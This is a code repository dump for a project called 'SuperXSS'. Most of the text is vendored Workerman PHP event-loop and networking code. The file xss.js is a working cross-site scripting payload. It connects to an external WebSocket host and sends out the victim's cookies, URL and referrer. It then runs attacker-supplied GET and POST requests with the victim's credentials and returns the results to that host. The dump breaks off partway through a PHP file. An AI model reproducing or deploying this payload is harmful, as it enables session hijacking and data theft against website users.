-------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Events\React; 15 | use Workerman\Events\EventInterface; 16 | 17 | /** 18 | * Class ExtEventLoop 19 | * @package Workerman\Events\React 20 | */ 21 | class ExtEventLoop extends \React\EventLoop\ExtEventLoop 22 | { 23 | /** 24 | * Event base. 25 | * 26 | * @var EventBase 27 | */ 28 | protected $_eventBase = null; 29 | 30 | /** 31 | * All signal Event instances. 32 | * 33 | * @var array 34 | */ 35 | protected $_signalEvents = array(); 36 | 37 | /** 38 | * @var array 39 | */ 40 | protected $_timerIdMap = array(); 41 | 42 | /** 43 | * @var int 44 | */ 45 | protected $_timerIdIndex = 0; 46 | 47 | /** 48 | * Add event listener to event loop. 49 | * 50 | * @param $fd 51 | * @param $flag 52 | * @param $func 53 | * @param array $args 54 | * @return bool 55 | */ 56 | public function add($fd, $flag, $func, $args = array()) 57 | { 58 | $args = (array)$args; 59 | switch ($flag) { 60 | case EventInterface::EV_READ: 61 | return $this->addReadStream($fd, $func); 62 | case EventInterface::EV_WRITE: 63 | return $this->addWriteStream($fd, $func); 64 | case EventInterface::EV_SIGNAL: 65 | return $this->addSignal($fd, $func); 66 | case EventInterface::EV_TIMER: 67 | $timer_id = ++$this->_timerIdIndex; 68 | $timer_obj = $this->addPeriodicTimer($fd, function() use ($func, $args) { 69 | call_user_func_array($func, $args); 70 | }); 71 | $this->_timerIdMap[$timer_id] = $timer_obj; 72 | return $timer_id; 73 | case EventInterface::EV_TIMER_ONCE: 74 | $timer_id = ++$this->_timerIdIndex; 75 | $timer_obj = $this->addTimer($fd, function() use ($func, $args, $timer_id) { 76 | unset($this->_timerIdMap[$timer_id]); 77 | call_user_func_array($func, $args); 78 | }); 79 | $this->_timerIdMap[$timer_id] = $timer_obj; 80 | return $timer_id; 81 | } 82 | return false; 83 | } 84 | 85 | /** 86 | * Remove event listener from event loop. 87 | * 88 | * @param mixed $fd 89 | * @param int $flag 90 | * @return bool 91 | */ 92 | public function del($fd, $flag) 93 | { 94 | switch ($flag) { 95 | case EventInterface::EV_READ: 96 | return $this->removeReadStream($fd); 97 | case EventInterface::EV_WRITE: 98 | return $this->removeWriteStream($fd); 99 | case EventInterface::EV_SIGNAL: 100 | return $this->removeSignal($fd); 101 | case EventInterface::EV_TIMER: 102 | case EventInterface::EV_TIMER_ONCE: 103 | if (isset($this->_timerIdMap[$fd])){ 104 | $timer_obj = $this->_timerIdMap[$fd]; 105 | unset($this->_timerIdMap[$fd]); 106 | $this->cancelTimer($timer_obj); 107 | return true; 108 | } 109 | } 110 | return false; 111 | } 112 | 113 | 114 | /** 115 | * Main loop. 116 | * 117 | * @return void 118 | */ 119 | public function loop() 120 | { 121 | $this->run(); 122 | } 123 | 124 | /** 125 | * Construct 126 | */ 127 | public function __construct() 128 | { 129 | parent::__construct(); 130 | $class = new \ReflectionClass('\React\EventLoop\ExtEventLoop'); 131 | $property = $class->getProperty('eventBase'); 132 | $property->setAccessible(true); 133 | $this->_eventBase = $property->getValue($this); 134 | } 135 | 136 | /** 137 | * Add signal handler. 138 | * 139 | * @param $signal 140 | * @param $callback 141 | * @return bool 142 | */ 143 | public function addSignal($signal, $callback) 144 | { 145 | $event = \Event::signal($this->_eventBase, $signal, $callback); 146 | if (!$event||!$event->add()) { 147 | return false; 148 | } 149 | $this->_signalEvents[$signal] = $event; 150 | } 151 | 152 | /** 153 | * Remove signal handler. 154 | * 155 | * @param $signal 156 | */ 157 | public function removeSignal($signal) 158 | { 159 | if (isset($this->_signalEvents[$signal])) { 160 | $this->_signalEvents[$signal]->del(); 161 | unset($this->_signalEvents[$signal]); 162 | } 163 | } 164 | 165 | /** 166 | * Destroy loop. 167 | * 168 | * @return void 169 | */ 170 | public function destroy() 171 | { 172 | foreach ($this->_signalEvents as $event) { 173 | $event->del(); 174 | } 175 | } 176 | 177 | /** 178 | * Get timer count. 179 | * 180 | * @return integer 181 | */ 182 | public function getTimerCount() 183 | { 184 | return count($this->_timerIdMap); 185 | } 186 | } 187 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Events/React/LibEventLoop.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Events\React; 15 | use Workerman\Events\EventInterface; 16 | 17 | /** 18 | * Class LibEventLoop 19 | * @package Workerman\Events\React 20 | */ 21 | class LibEventLoop extends \React\EventLoop\LibEventLoop 22 | { 23 | /** 24 | * Event base. 25 | * 26 | * @var event_base resource 27 | */ 28 | protected $_eventBase = null; 29 | 30 | /** 31 | * All signal Event instances. 32 | * 33 | * @var array 34 | */ 35 | protected $_signalEvents = array(); 36 | 37 | /** 38 | * @var array 39 | */ 40 | protected $_timerIdMap = array(); 41 | 42 | /** 43 | * @var int 44 | */ 45 | protected $_timerIdIndex = 0; 46 | 47 | /** 48 | * Add event listener to event loop. 49 | * 50 | * @param $fd 51 | * @param $flag 52 | * @param $func 53 | * @param array $args 54 | * @return bool 55 | */ 56 | public function add($fd, $flag, $func, $args = array()) 57 | { 58 | $args = (array)$args; 59 | switch ($flag) { 60 | case EventInterface::EV_READ: 61 | return $this->addReadStream($fd, $func); 62 | case EventInterface::EV_WRITE: 63 | return $this->addWriteStream($fd, $func); 64 | case EventInterface::EV_SIGNAL: 65 | return $this->addSignal($fd, $func); 66 | case EventInterface::EV_TIMER: 67 | $timer_id = ++$this->_timerIdIndex; 68 | $timer_obj = $this->addPeriodicTimer($fd, function() use ($func, $args) { 69 | call_user_func_array($func, $args); 70 | }); 71 | $this->_timerIdMap[$timer_id] = $timer_obj; 72 | return $timer_id; 73 | case EventInterface::EV_TIMER_ONCE: 74 | $timer_id = ++$this->_timerIdIndex; 75 | $timer_obj = $this->addTimer($fd, function() use ($func, $args, $timer_id) { 76 | unset($this->_timerIdMap[$timer_id]); 77 | call_user_func_array($func, $args); 78 | }); 79 | $this->_timerIdMap[$timer_id] = $timer_obj; 80 | return $timer_id; 81 | } 82 | return false; 83 | } 84 | 85 | /** 86 | * Remove event listener from event loop. 87 | * 88 | * @param mixed $fd 89 | * @param int $flag 90 | * @return bool 91 | */ 92 | public function del($fd, $flag) 93 | { 94 | switch ($flag) { 95 | case EventInterface::EV_READ: 96 | return $this->removeReadStream($fd); 97 | case EventInterface::EV_WRITE: 98 | return $this->removeWriteStream($fd); 99 | case EventInterface::EV_SIGNAL: 100 | return $this->removeSignal($fd); 101 | case EventInterface::EV_TIMER: 102 | case EventInterface::EV_TIMER_ONCE: 103 | if (isset($this->_timerIdMap[$fd])){ 104 | $timer_obj = $this->_timerIdMap[$fd]; 105 | unset($this->_timerIdMap[$fd]); 106 | $this->cancelTimer($timer_obj); 107 | return true; 108 | } 109 | } 110 | return false; 111 | } 112 | 113 | 114 | /** 115 | * Main loop. 116 | * 117 | * @return void 118 | */ 119 | public function loop() 120 | { 121 | $this->run(); 122 | } 123 | 124 | /** 125 | * Construct. 126 | */ 127 | public function __construct() 128 | { 129 | parent::__construct(); 130 | $class = new \ReflectionClass('\React\EventLoop\LibEventLoop'); 131 | $property = $class->getProperty('eventBase'); 132 | $property->setAccessible(true); 133 | $this->_eventBase = $property->getValue($this); 134 | } 135 | 136 | /** 137 | * Add signal handler. 138 | * 139 | * @param $signal 140 | * @param $callback 141 | * @return bool 142 | */ 143 | public function addSignal($signal, $callback) 144 | { 145 | $event = event_new(); 146 | $this->_signalEvents[$signal] = $event; 147 | event_set($event, $signal, EV_SIGNAL | EV_PERSIST, $callback); 148 | event_base_set($event, $this->_eventBase); 149 | event_add($event); 150 | } 151 | 152 | /** 153 | * Remove signal handler. 154 | * 155 | * @param $signal 156 | */ 157 | public function removeSignal($signal) 158 | { 159 | if (isset($this->_signalEvents[$signal])) { 160 | $event = $this->_signalEvents[$signal]; 161 | event_del($event); 162 | unset($this->_signalEvents[$signal]); 163 | } 164 | } 165 | 166 | /** 167 | * Destroy loop. 168 | * 169 | * @return void 170 | */ 171 | public function destroy() 172 | { 173 | foreach ($this->_signalEvents as $event) { 174 | event_del($event); 175 | } 176 | } 177 | 178 | /** 179 | * Get timer count. 180 | * 181 | * @return integer 182 | */ 183 | public function getTimerCount() 184 | { 185 | return count($this->_timerIdMap); 186 | } 187 | } 188 | -------------------------------------------------------------------------------- /SuperXSS-Front/xss.js: -------------------------------------------------------------------------------- 1 | var xss={ 2 | joblist:[], 3 | init:function(wsaddress){ 4 | var ws = new WebSocket(wsaddress); 5 | ws.onopen = function(evt) { 6 | console.log("Connection open ..."); 7 | ws.send(JSON.stringify({ 8 | 'OP':'init', 9 | 'UA':btoa(navigator.userAgent), 10 | 'URL':btoa(window.location), 11 | 'REFERER':btoa(document.referrer), 12 | 'BASEURL':btoa(window.location.protocol+"//"+window.location.host), 13 | 'COOKIE':btoa(document.cookie) 14 | })); 15 | }; 16 | setInterval(this.ping,3000,ws); 17 | ws.addEventListener("message", this.handleMessage); 18 | }, 19 | ping:function(ws){ 20 | if(ws.readyState!=WebSocket.OPEN){ 21 | return false; 22 | } 23 | ws.send(JSON.stringify({ 24 | 'OP':'ping' 25 | })); 26 | }, 27 | handleMessage:function(e){ 28 | var act=JSON.parse(e.data); 29 | if(act.OP){ 30 | switch(act.OP){ 31 | case "GET": 32 | //收到请求后,向服务器发送确认,并且把job添加到joblist 33 | //只有当服务器二次确认后才能开始抓取并返回结果 34 | this.send(JSON.stringify({ 35 | 'OP':'confirmxhr', 36 | 'JOBID':act.JOBID 37 | })); 38 | xss.joblist.push({ 39 | 'JOBID':act.JOBID, 40 | 'TYPE':'GET', 41 | 'DETAIL':act, 42 | }) 43 | break; 44 | case "POST": 45 | this.send(JSON.stringify({ 46 | 'OP':'confirmxhr', 47 | 'JOBID':act.JOBID 48 | })); 49 | xss.joblist.push({ 50 | 'JOBID':act.JOBID, 51 | 'TYPE':'POST', 52 | 'DETAIL':act, 53 | }) 54 | break; 55 | } 56 | }else if(act.STATUS){ 57 | switch(act.STATUS){ 58 | case 1: 59 | //正常,开始处理对应JOBID的事项 60 | var work=xss.joblist.find((v)=>{return v.JOBID==act.JOBID;}); 61 | if(work){ 62 | //如果JOBLIST里有该项工作 63 | switch(work.TYPE){ 64 | case "GET": 65 | xss.processGET(work.DETAIL,this); 66 | break; 67 | case "POST": 68 | xss.processPOST(work.DETAIL,this); 69 | break; 70 | } 71 | //任务已处理,从队列中删除 72 | var i=0;xss.joblist.map((e)=>{if(e.JOBID==act.JOBID){xss.joblist.splice(i,1)};i++;}); 73 | } 74 | break; 75 | case 0: 76 | //不正常,从队列中删除 77 | var i=0;xss.joblist.map((e)=>{if(e.JOBID==act.JOBID){xss.joblist.splice(i,1)};i++;}); 78 | break; 79 | } 80 | } 81 | }, 82 | processGET:function(act,ws){ 83 | console.log('NEW GET JOB, [GET] URL='+act.URI+' JOBID=' + act.JOBID); 84 | fetch(act.URI,{credentials:'include'}).then((data)=>{ 85 | data.arrayBuffer().then((val)=>{return {'val':val,'response':data,'act':act,'ws':ws}}).then((obj)=>{ 86 | obj.ws.send(JSON.stringify({ 87 | 'OP':'pushxhr', 88 | 'STATUS_CODE':obj.response.status, 89 | 'JOBID':obj.act.JOBID, 90 | 'CT':obj.response.headers.get('content-type'), 91 | 'CONTENT':xss.buf2hex(obj.val) 92 | })); 93 | }); 94 | }) 95 | }, 96 | processPOST:function(act,ws){ 97 | console.log('NEW GET JOB, [POST] URL='+act.URI+' JOBID=' + act.JOBID); 98 | var body=new Int8Array(xss.hex2buf(act.DATA)).buffer; 99 | fetch(act.URI,{ 100 | credentials:'include', 101 | method: "POST", 102 | headers: { 103 | "Content-Type": act.CT 104 | }, 105 | body: body 106 | }).then((data)=>{ 107 | data.arrayBuffer().then((val)=>{return {'val':val,'response':data,'act':act,'ws':ws}}).then((obj)=>{ 108 | obj.ws.send(JSON.stringify({ 109 | 'OP':'pushxhr', 110 | 'STATUS_CODE':obj.response.status, 111 | 'JOBID':obj.act.JOBID, 112 | 'CT':obj.response.headers.get('content-type'), 113 | 'CONTENT':xss.buf2hex(obj.val) 114 | })); 115 | }); 116 | }) 117 | }, 118 | buf2hex:function(buffer) { // buffer is an ArrayBuffer 119 | return Array.prototype.map.call(new Uint8Array(buffer), x => ('00' + x.toString(16)).slice(-2)).join(''); 120 | }, 121 | hex2buf:function(hex) { 122 | for (var bytes = [], c = 0; c < hex.length; c += 2) 123 | bytes.push(parseInt(hex.substr(c, 2), 16)); 124 | return bytes; 125 | } 126 | } 127 | xss.init("wss://ws.loli.uz/"); -------------------------------------------------------------------------------- /SuperXSS/Workerman/Events/Ev.php: -------------------------------------------------------------------------------- 1 | 10 | * @link http://www.workerman.net/ 11 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 12 | */ 13 | namespace Workerman\Events; 14 | 15 | use Workerman\Worker; 16 | 17 | /** 18 | * ev eventloop 19 | */ 20 | class Ev implements EventInterface 21 | { 22 | /** 23 | * All listeners for read/write event. 24 | * 25 | * @var array 26 | */ 27 | protected $_allEvents = array(); 28 | 29 | /** 30 | * Event listeners of signal. 31 | * 32 | * @var array 33 | */ 34 | protected $_eventSignal = array(); 35 | 36 | /** 37 | * All timer event listeners. 38 | * [func, args, event, flag, time_interval] 39 | * 40 | * @var array 41 | */ 42 | protected $_eventTimer = array(); 43 | 44 | /** 45 | * Timer id. 46 | * 47 | * @var int 48 | */ 49 | protected static $_timerId = 1; 50 | 51 | /** 52 | * Add a timer. 53 | * {@inheritdoc} 54 | */ 55 | public function add($fd, $flag, $func, $args = null) 56 | { 57 | $callback = function ($event, $socket) use ($fd, $func) { 58 | try { 59 | call_user_func($func, $fd); 60 | } catch (\Exception $e) { 61 | Worker::log($e); 62 | exit(250); 63 | } catch (\Error $e) { 64 | Worker::log($e); 65 | exit(250); 66 | } 67 | }; 68 | switch ($flag) { 69 | case self::EV_SIGNAL: 70 | $event = new \EvSignal($fd, $callback); 71 | $this->_eventSignal[$fd] = $event; 72 | return true; 73 | case self::EV_TIMER: 74 | case self::EV_TIMER_ONCE: 75 | $repeat = $flag == self::EV_TIMER_ONCE ? 0 : $fd; 76 | $param = array($func, (array)$args, $flag, $fd, self::$_timerId); 77 | $event = new \EvTimer($fd, $repeat, array($this, 'timerCallback'), $param); 78 | $this->_eventTimer[self::$_timerId] = $event; 79 | return self::$_timerId++; 80 | default : 81 | $fd_key = (int)$fd; 82 | $real_flag = $flag === self::EV_READ ? \Ev::READ : \Ev::WRITE; 83 | $event = new \EvIo($fd, $real_flag, $callback); 84 | $this->_allEvents[$fd_key][$flag] = $event; 85 | return true; 86 | } 87 | 88 | } 89 | 90 | /** 91 | * Remove a timer. 92 | * {@inheritdoc} 93 | */ 94 | public function del($fd, $flag) 95 | { 96 | switch ($flag) { 97 | case self::EV_READ: 98 | case self::EV_WRITE: 99 | $fd_key = (int)$fd; 100 | if (isset($this->_allEvents[$fd_key][$flag])) { 101 | $this->_allEvents[$fd_key][$flag]->stop(); 102 | unset($this->_allEvents[$fd_key][$flag]); 103 | } 104 | if (empty($this->_allEvents[$fd_key])) { 105 | unset($this->_allEvents[$fd_key]); 106 | } 107 | break; 108 | case self::EV_SIGNAL: 109 | $fd_key = (int)$fd; 110 | if (isset($this->_eventSignal[$fd_key])) { 111 | $this->_eventSignal[$fd_key]->stop(); 112 | unset($this->_eventSignal[$fd_key]); 113 | } 114 | break; 115 | case self::EV_TIMER: 116 | case self::EV_TIMER_ONCE: 117 | if (isset($this->_eventTimer[$fd])) { 118 | $this->_eventTimer[$fd]->stop(); 119 | unset($this->_eventTimer[$fd]); 120 | } 121 | break; 122 | } 123 | return true; 124 | } 125 | 126 | /** 127 | * Timer callback. 128 | * 129 | * @param \EvWatcher $event 130 | */ 131 | public function timerCallback($event) 132 | { 133 | $param = $event->data; 134 | $timer_id = $param[4]; 135 | if ($param[2] === self::EV_TIMER_ONCE) { 136 | $this->_eventTimer[$timer_id]->stop(); 137 | unset($this->_eventTimer[$timer_id]); 138 | } 139 | try { 140 | call_user_func_array($param[0], $param[1]); 141 | } catch (\Exception $e) { 142 | Worker::log($e); 143 | exit(250); 144 | } catch (\Error $e) { 145 | Worker::log($e); 146 | exit(250); 147 | } 148 | } 149 | 150 | /** 151 | * Remove all timers. 152 | * 153 | * @return void 154 | */ 155 | public function clearAllTimer() 156 | { 157 | foreach ($this->_eventTimer as $event) { 158 | $event->stop(); 159 | } 160 | $this->_eventTimer = array(); 161 | } 162 | 163 | /** 164 | * Main loop. 165 | * 166 | * @see EventInterface::loop() 167 | */ 168 | public function loop() 169 | { 170 | \Ev::run(); 171 | } 172 | 173 | /** 174 | * Destroy loop. 175 | * 176 | * @return void 177 | */ 178 | public function destroy() 179 | { 180 | foreach ($this->_allEvents as $event) { 181 | $event->stop(); 182 | } 183 | } 184 | 185 | /** 186 | * Get timer count. 187 | * 188 | * @return integer 189 | */ 190 | public function getTimerCount() 191 | { 192 | return count($this->_eventTimer); 193 | } 194 | } 195 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Connection/AsyncUdpConnection.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Connection; 15 | 16 | use Workerman\Events\EventInterface; 17 | use Workerman\Worker; 18 | use Exception; 19 | 20 | /** 21 | * AsyncTcpConnection. 22 | */ 23 | class AsyncUdpConnection extends UdpConnection 24 | { 25 | /** 26 | * Emitted when socket connection is successfully established. 27 | * 28 | * @var callback 29 | */ 30 | public $onConnect = null; 31 | 32 | /** 33 | * Emitted when socket connection closed. 34 | * 35 | * @var callback 36 | */ 37 | public $onClose = null; 38 | 39 | /** 40 | * Connected or not. 41 | * 42 | * @var bool 43 | */ 44 | protected $connected = false; 45 | 46 | /** 47 | * Construct. 48 | * 49 | * @param string $remote_address 50 | * @throws Exception 51 | */ 52 | public function __construct($remote_address) 53 | { 54 | // Get the application layer communication protocol and listening address. 55 | list($scheme, $address) = explode(':', $remote_address, 2); 56 | // Check application layer protocol class. 57 | if ($scheme !== 'udp') { 58 | $scheme = ucfirst($scheme); 59 | $this->protocol = '\\Protocols\\' . $scheme; 60 | if (!class_exists($this->protocol)) { 61 | $this->protocol = "\\Workerman\\Protocols\\$scheme"; 62 | if (!class_exists($this->protocol)) { 63 | throw new Exception("class \\Protocols\\$scheme not exist"); 64 | } 65 | } 66 | } 67 | 68 | $this->_remoteAddress = substr($address, 2); 69 | } 70 | 71 | /** 72 | * For udp package. 73 | * 74 | * @param resource $socket 75 | * @return bool 76 | */ 77 | public function baseRead($socket) 78 | { 79 | $recv_buffer = stream_socket_recvfrom($socket, Worker::MAX_UDP_PACKAGE_SIZE, 0, $remote_address); 80 | if (false === $recv_buffer || empty($remote_address)) { 81 | return false; 82 | } 83 | 84 | if ($this->onMessage) { 85 | if ($this->protocol) { 86 | $parser = $this->protocol; 87 | $recv_buffer = $parser::decode($recv_buffer, $this); 88 | } 89 | ConnectionInterface::$statistics['total_request']++; 90 | try { 91 | call_user_func($this->onMessage, $this, $recv_buffer); 92 | } catch (\Exception $e) { 93 | Worker::log($e); 94 | exit(250); 95 | } catch (\Error $e) { 96 | Worker::log($e); 97 | exit(250); 98 | } 99 | } 100 | return true; 101 | } 102 | 103 | /** 104 | * Sends data on the connection. 105 | * 106 | * @param string $send_buffer 107 | * @param bool $raw 108 | * @return void|boolean 109 | */ 110 | public function send($send_buffer, $raw = false) 111 | { 112 | if (false === $raw && $this->protocol) { 113 | $parser = $this->protocol; 114 | $send_buffer = $parser::encode($send_buffer, $this); 115 | if ($send_buffer === '') { 116 | return null; 117 | } 118 | } 119 | if ($this->connected === false) { 120 | $this->connect(); 121 | } 122 | return strlen($send_buffer) === stream_socket_sendto($this->_socket, $send_buffer, 0); 123 | } 124 | 125 | 126 | /** 127 | * Close connection. 128 | * 129 | * @param mixed $data 130 | * @param bool $raw 131 | * 132 | * @return bool 133 | */ 134 | public function close($data = null, $raw = false) 135 | { 136 | if ($data !== null) { 137 | $this->send($data, $raw); 138 | } 139 | Worker::$globalEvent->del($this->_socket, EventInterface::EV_READ); 140 | fclose($this->_socket); 141 | $this->connected = false; 142 | // Try to emit onClose callback. 143 | if ($this->onClose) { 144 | try { 145 | call_user_func($this->onClose, $this); 146 | } catch (\Exception $e) { 147 | Worker::log($e); 148 | exit(250); 149 | } catch (\Error $e) { 150 | Worker::log($e); 151 | exit(250); 152 | } 153 | } 154 | $this->onConnect = $this->onMessage = $this->onClose = null; 155 | return true; 156 | } 157 | 158 | /** 159 | * Connect. 160 | * 161 | * @return void 162 | */ 163 | public function connect() 164 | { 165 | if ($this->connected === true) { 166 | return; 167 | } 168 | $this->_socket = stream_socket_client("udp://{$this->_remoteAddress}"); 169 | if ($this->onMessage) { 170 | Worker::$globalEvent->add($this->_socket, EventInterface::EV_READ, array($this, 'baseRead')); 171 | } 172 | $this->connected = true; 173 | // Try to emit onConnect callback. 174 | if ($this->onConnect) { 175 | try { 176 | call_user_func($this->onConnect, $this); 177 | } catch (\Exception $e) { 178 | Worker::log($e); 179 | exit(250); 180 | } catch (\Error $e) { 181 | Worker::log($e); 182 | exit(250); 183 | } 184 | } 185 | } 186 | 187 | } 188 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Events/React/StreamSelectLoop.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Events\React; 15 | use Workerman\Events\EventInterface; 16 | 17 | /** 18 | * Class StreamSelectLoop 19 | * @package Workerman\Events\React 20 | */ 21 | class StreamSelectLoop extends \React\EventLoop\StreamSelectLoop 22 | { 23 | /** 24 | * @var array 25 | */ 26 | protected $_timerIdMap = array(); 27 | 28 | /** 29 | * @var int 30 | */ 31 | protected $_timerIdIndex = 0; 32 | 33 | /** 34 | * Add event listener to event loop. 35 | * 36 | * @param $fd 37 | * @param $flag 38 | * @param $func 39 | * @param array $args 40 | * @return bool 41 | */ 42 | public function add($fd, $flag, $func, $args = array()) 43 | { 44 | $args = (array)$args; 45 | switch ($flag) { 46 | case EventInterface::EV_READ: 47 | return $this->addReadStream($fd, $func); 48 | case EventInterface::EV_WRITE: 49 | return $this->addWriteStream($fd, $func); 50 | case EventInterface::EV_SIGNAL: 51 | return $this->addSignal($fd, $func); 52 | case EventInterface::EV_TIMER: 53 | $timer_obj = $this->addPeriodicTimer($fd, function() use ($func, $args) { 54 | call_user_func_array($func, $args); 55 | }); 56 | $this->_timerIdMap[++$this->_timerIdIndex] = $timer_obj; 57 | return $this->_timerIdIndex; 58 | case EventInterface::EV_TIMER_ONCE: 59 | $index = ++$this->_timerIdIndex; 60 | $timer_obj = $this->addTimer($fd, function() use ($func, $args, $index) { 61 | $this->del($index,EventInterface::EV_TIMER_ONCE); 62 | call_user_func_array($func, $args); 63 | }); 64 | $this->_timerIdMap[$index] = $timer_obj; 65 | return $this->_timerIdIndex; 66 | } 67 | return false; 68 | } 69 | 70 | /** 71 | * Remove event listener from event loop. 72 | * 73 | * @param mixed $fd 74 | * @param int $flag 75 | * @return bool 76 | */ 77 | public function del($fd, $flag) 78 | { 79 | switch ($flag) { 80 | case EventInterface::EV_READ: 81 | return $this->removeReadStream($fd); 82 | case EventInterface::EV_WRITE: 83 | return $this->removeWriteStream($fd); 84 | case EventInterface::EV_SIGNAL: 85 | return $this->removeSignal($fd); 86 | case EventInterface::EV_TIMER: 87 | case EventInterface::EV_TIMER_ONCE: 88 | if (isset($this->_timerIdMap[$fd])){ 89 | $timer_obj = $this->_timerIdMap[$fd]; 90 | unset($this->_timerIdMap[$fd]); 91 | $this->cancelTimer($timer_obj); 92 | return true; 93 | } 94 | } 95 | return false; 96 | } 97 | 98 | 99 | /** 100 | * Main loop. 101 | * 102 | * @return void 103 | */ 104 | public function loop() 105 | { 106 | $this->run(); 107 | } 108 | 109 | /** 110 | * Add signal handler. 111 | * 112 | * @param $signal 113 | * @param $callback 114 | * @return bool 115 | */ 116 | public function addSignal($signal, $callback) 117 | { 118 | if(DIRECTORY_SEPARATOR === '/') { 119 | pcntl_signal($signal, $callback); 120 | } 121 | } 122 | 123 | /** 124 | * Remove signal handler. 125 | * 126 | * @param $signal 127 | */ 128 | public function removeSignal($signal) 129 | { 130 | if(DIRECTORY_SEPARATOR === '/') { 131 | pcntl_signal($signal, SIG_IGN); 132 | } 133 | } 134 | 135 | /** 136 | * Emulate a stream_select() implementation that does not break when passed 137 | * empty stream arrays. 138 | * 139 | * @param array &$read An array of read streams to select upon. 140 | * @param array &$write An array of write streams to select upon. 141 | * @param integer|null $timeout Activity timeout in microseconds, or null to wait forever. 142 | * 143 | * @return integer|false The total number of streams that are ready for read/write. 144 | * Can return false if stream_select() is interrupted by a signal. 145 | */ 146 | protected function streamSelect(array &$read, array &$write, $timeout) 147 | { 148 | if ($read || $write) { 149 | $except = null; 150 | // Calls signal handlers for pending signals 151 | if(DIRECTORY_SEPARATOR === '/') { 152 | pcntl_signal_dispatch(); 153 | } 154 | // suppress warnings that occur, when stream_select is interrupted by a signal 155 | return @stream_select($read, $write, $except, $timeout === null ? null : 0, $timeout); 156 | } 157 | 158 | // Calls signal handlers for pending signals 159 | if(DIRECTORY_SEPARATOR === '/') { 160 | pcntl_signal_dispatch(); 161 | } 162 | $timeout && usleep($timeout); 163 | 164 | return 0; 165 | } 166 | 167 | /** 168 | * Destroy loop. 169 | * 170 | * @return void 171 | */ 172 | public function destroy() 173 | { 174 | 175 | } 176 | 177 | /** 178 | * Get timer count. 179 | * 180 | * @return integer 181 | */ 182 | public function getTimerCount() 183 | { 184 | return count($this->_timerIdMap); 185 | } 186 | } 187 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Events/Event.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright 有个鬼<42765633@qq.com> 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Events; 15 | 16 | use Workerman\Worker; 17 | 18 | /** 19 | * libevent eventloop 20 | */ 21 | class Event implements EventInterface 22 | { 23 | /** 24 | * Event base. 25 | * @var object 26 | */ 27 | protected $_eventBase = null; 28 | 29 | /** 30 | * All listeners for read/write event. 31 | * @var array 32 | */ 33 | protected $_allEvents = array(); 34 | 35 | /** 36 | * Event listeners of signal. 37 | * @var array 38 | */ 39 | protected $_eventSignal = array(); 40 | 41 | /** 42 | * All timer event listeners. 43 | * [func, args, event, flag, time_interval] 44 | * @var array 45 | */ 46 | protected $_eventTimer = array(); 47 | 48 | /** 49 | * Timer id. 50 | * @var int 51 | */ 52 | protected static $_timerId = 1; 53 | 54 | /** 55 | * construct 56 | * @return void 57 | */ 58 | public function __construct() 59 | { 60 | $this->_eventBase = new \EventBase(); 61 | } 62 | 63 | /** 64 | * @see EventInterface::add() 65 | */ 66 | public function add($fd, $flag, $func, $args=array()) 67 | { 68 | switch ($flag) { 69 | case self::EV_SIGNAL: 70 | 71 | $fd_key = (int)$fd; 72 | $event = \Event::signal($this->_eventBase, $fd, $func); 73 | if (!$event||!$event->add()) { 74 | return false; 75 | } 76 | $this->_eventSignal[$fd_key] = $event; 77 | return true; 78 | 79 | case self::EV_TIMER: 80 | case self::EV_TIMER_ONCE: 81 | 82 | $param = array($func, (array)$args, $flag, $fd, self::$_timerId); 83 | $event = new \Event($this->_eventBase, -1, \Event::TIMEOUT|\Event::PERSIST, array($this, "timerCallback"), $param); 84 | if (!$event||!$event->addTimer($fd)) { 85 | return false; 86 | } 87 | $this->_eventTimer[self::$_timerId] = $event; 88 | return self::$_timerId++; 89 | 90 | default : 91 | $fd_key = (int)$fd; 92 | $real_flag = $flag === self::EV_READ ? \Event::READ | \Event::PERSIST : \Event::WRITE | \Event::PERSIST; 93 | $event = new \Event($this->_eventBase, $fd, $real_flag, $func, $fd); 94 | if (!$event||!$event->add()) { 95 | return false; 96 | } 97 | $this->_allEvents[$fd_key][$flag] = $event; 98 | return true; 99 | } 100 | } 101 | 102 | /** 103 | * @see Events\EventInterface::del() 104 | */ 105 | public function del($fd, $flag) 106 | { 107 | switch ($flag) { 108 | 109 | case self::EV_READ: 110 | case self::EV_WRITE: 111 | 112 | $fd_key = (int)$fd; 113 | if (isset($this->_allEvents[$fd_key][$flag])) { 114 | $this->_allEvents[$fd_key][$flag]->del(); 115 | unset($this->_allEvents[$fd_key][$flag]); 116 | } 117 | if (empty($this->_allEvents[$fd_key])) { 118 | unset($this->_allEvents[$fd_key]); 119 | } 120 | break; 121 | 122 | case self::EV_SIGNAL: 123 | $fd_key = (int)$fd; 124 | if (isset($this->_eventSignal[$fd_key])) { 125 | $this->_eventSignal[$fd_key]->del(); 126 | unset($this->_eventSignal[$fd_key]); 127 | } 128 | break; 129 | 130 | case self::EV_TIMER: 131 | case self::EV_TIMER_ONCE: 132 | if (isset($this->_eventTimer[$fd])) { 133 | $this->_eventTimer[$fd]->del(); 134 | unset($this->_eventTimer[$fd]); 135 | } 136 | break; 137 | } 138 | return true; 139 | } 140 | 141 | /** 142 | * Timer callback. 143 | * @param null $fd 144 | * @param int $what 145 | * @param int $timer_id 146 | */ 147 | public function timerCallback($fd, $what, $param) 148 | { 149 | $timer_id = $param[4]; 150 | 151 | if ($param[2] === self::EV_TIMER_ONCE) { 152 | $this->_eventTimer[$timer_id]->del(); 153 | unset($this->_eventTimer[$timer_id]); 154 | } 155 | 156 | try { 157 | call_user_func_array($param[0], 